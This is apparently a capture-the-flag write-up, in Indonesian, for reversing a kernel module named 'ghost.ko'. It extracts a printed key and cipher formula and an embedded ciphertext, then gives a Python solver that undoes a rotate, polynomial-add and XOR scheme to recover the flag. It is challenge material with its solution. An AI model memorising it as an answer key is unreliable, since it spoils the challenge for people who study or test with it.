![](deskripsi.png) # Walkthrough Diberikan sebuah binary `.ko` (kernel module) bernama `ghost.ko`. Karena ini adalah kernel module, kita bisa expect ada init function dan exit function. Langsung aja buka di IDA/Ghidra. ## 1. Analysis: The Init Function Di fungsi `ghost_init`, kita melihat ada beberapa setup penting. ![](t1.png) Module ini mencoba membuat entry di `/proc/ghost4301`. Hal yang menarik ada di logic pengecekannya: ```c ghost_len = i; uint64_t rax_1 = proc_create("ghost4301", 0x124, 0, &ghost_fops); ghost_entry = rax_1; if (!rax_1) _printk(0x400210, "ghost4301"); else { _printk(0x4002b1, "ghost4301_telemetry\nz[i] = rotl8((flag[i]^key[i%7] + poly(i)), (3*i)%8)\npoly(i) = i^3 + " "7*i^2 + 13*i + 37 (mod 256)\n"); _printk(0x4002b1, "key[7] = {0x13,0x37,0x42,0xA5,0x5C,0x9E,0x11}\n"); _printk(0x400238, "ghost4301"); } ``` Jika `proc_create` **BERHASIL** (rax_1 != 0), dia malah nge-print "telemetry" yang berisi **rumus enkripsi** dan **key**-nya. Ini behaviour yang agak unik, biasanya error message yang diprint kalau gagal. Dari `printk` tersebut, kita dapat informasi vital: 1. **Encryption Formula**: `z[i] = rotl8((flag[i]^key[i%7] + poly(i)), (3*i)%8)` 2. **Key**: `{0x13, 0x37, 0x42, 0xA5, 0x5C, 0x9E, 0x11}` 3. **Polynomial**: `poly(i) = i^3 + 7*i^2 + 13*i + 37 (mod 256)` ## 2. Extracting the Ciphertext Kalau kita lihat di awal fungsi `ghost_init`, ada loop yang nge-print "telemetry frames": ```c i += scnprintf(i + &ghost_buf, 0x200 - i, "frame[%d] = 0x%016llx\n", rcx_1, *((r14_1 << 3) + &ghost_blob)); ``` Loop ini membaca data dari `ghost_blob` dan menampilkannya sebagai 64-bit integers (`0x%016llx`). Kita bisa ekstrak data ini langsung dari file binary `.ko` menggunakan `readelf` atau objdump. Kita cari section `.rodata` atau symbol `ghost_blob`. ![](readelf.png) Kita temukan blok data 40 bytes yang mencurigakan di string dump atau rodata: ``` 70 9A 2C C1 3B 5E F4 77 F2 41 12 64 BA 4C 5D B1 90 6D CA 2D 3F AD 1F 66 9E D4 25 42 F6 E1 94 17 AA AA AA AA AA DB 4D 31 ``` Ini kemungkinan besar adalah ciphertext `z` kita. ## 3. The Solver Strategy Dari rumus enkripsi: `z[i] = rotl8((flag[i] ^ key[i%7] + poly(i)), (3*i)%8)` Kita harus melakukan operasi kebalikannya (decryption) urut dari luar ke dalam: 1. **Rotate Right**: Kebalikan dari `rotl8` adalah `rotr8`. 2. **Subtract Poly**: Kebalikan dari `+ poly(i)` adalah `- poly(i)`. 3. **XOR Key**: Kebalikan dari `^ key` adalah `^ key` (XOR adalah inversenya sendiri). Jadi rumus dekripsinya: `flag[i] = rotr8(z[i], (3*i)%8) - poly(i) ^ key[i%7]` ### Attempt 1: Naive Solve Awalnya gw coba solve langsung byte-per-byte sesuai urutan dump: ```py z_raw = bytes.fromhex(""" 70 9A 2C C1 3B 5E F4 77 F2 41 12 64 BA 4C 5D B1 90 6D CA 2D 3F AD 1F 66 9E D4 25 42 F6 E1 94 17 AA AA AA AA AA DB 4D 31 """) # ... decryption loop ... ``` Tapi hasilnya **gagal**. Outputnya cuma sampah binary yang gak membentuk flag.` ### Attempt 2: Addressing Endianness Gw sadar ada yang aneh. Di code `ghost_init`, data dibaca sebagai `unsigned long long` (64-bit) dan diprint dengan format `%016llx`. ```c *((r14_1 << 3) + &ghost_blob) ``` Di arsitektur x86 (Little Endian), ketika kita baca 8 byte "A B C D E F G H" sebagai satu integer 64-bit, nilainya jadi `0xHGFEDCBA`. Jadi, data raw yang kita copy (kalau kita asumsi itu dari print output atau cara storage kernel) perlu kita **reverse per 8 byte** untuk mendapatkan urutan byte asli yang dimaksud oleh enkripsi byte-per-byte. Code fix-nya: ```py z = b''.join( z_raw[i:i+8][::-1] for i in range(0, len(z_raw), 8) ) ``` ## 4. Final Solver Script Berikut script solver lengkapnya: ```python z_raw = bytes.fromhex(""" 70 9A 2C C1 3B 5E F4 77 F2 41 12 64 BA 4C 5D B1 90 6D CA 2D 3F AD 1F 66 9E D4 25 42 F6 E1 94 17 AA AA AA AA AA DB 4D 31 """) # Reverse every 8 bytes chunk to fix endianness z = b''.join( z_raw[i:i+8][::-1] for i in range(0, len(z_raw), 8) ) key = [0x13,0x37,0x42,0xA5,0x5C,0x9E,0x11] def poly(i): return (i**3 + 7*i**2 + 13*i + 37) % 256 def rotr8(x, r): r &= 7 return ((x >> r) | (x << (8-r))) & 0xFF flag = [] for i, c in enumerate(z): # 1. Reverse rotation x = rotr8(c, (3*i) % 8) # 2. Reverse addition (subtract) x = (x - poly(i)) & 0xFF # 3. Reverse XOR x ^= key[i % 7] flag.append(x) print(bytes(flag)) ``` ![](flag.png)